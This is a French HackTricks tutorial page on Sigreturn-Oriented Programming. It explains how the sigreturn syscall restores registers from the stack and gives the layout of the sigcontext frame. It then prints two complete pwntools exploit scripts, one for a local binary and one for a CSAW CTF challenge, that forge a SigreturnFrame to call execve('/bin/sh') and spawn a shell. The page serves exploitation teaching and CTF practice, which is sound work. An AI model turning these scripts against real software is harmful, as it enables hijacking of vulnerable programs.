SROP - Sigreturn-Oriented Programming

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Basic Information

Sigreturn est un syscall spécial principalement utilisé pour nettoyer après qu'un gestionnaire de signal a terminé son exécution. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail actuel pour gérer le signal avec un gestionnaire de signal, une fonction spéciale conçue pour traiter les signaux.

Après que le gestionnaire de signal a terminé, le programme doit reprendre son état précédent comme si rien ne s'était passé. C'est là que sigreturn entre en jeu. Il aide le programme à retourner du gestionnaire de signal et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signal.

La partie intéressante est comment sigreturn restaure l'état du programme : il le fait en stockant toutes les valeurs des registres du CPU sur la pile. Lorsque le signal n'est plus bloqué, sigreturn dépile ces valeurs de la pile, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.

caution

Appeler le syscall sigreturn à partir d'une chaîne ROP et ajouter les valeurs de registre que nous aimerions charger dans la pile permet de contrôler toutes les valeurs de registre et donc de appeler par exemple le syscall execve avec /bin/sh.

Notez comment cela serait un type de Ret2syscall qui facilite beaucoup le contrôle des paramètres pour appeler d'autres Ret2syscalls :

Ret2syscall

Si vous êtes curieux, voici la structure sigcontext stockée dans la pile pour récupérer plus tard les valeurs (diagramme de ici):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Pour une meilleure explication, consultez également :

- YouTube

Exemple

Vous pouvez trouver un exemple ici où l'appel à signeturn est construit via ROP (en mettant dans rxa la valeur 0xf), bien que cela soit l'exploit final à partir de là :

python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Vérifiez également l'exploit ici où le binaire appelait déjà sigreturn et il n'est donc pas nécessaire de le construire avec un ROP :

python
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Autres exemples et références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks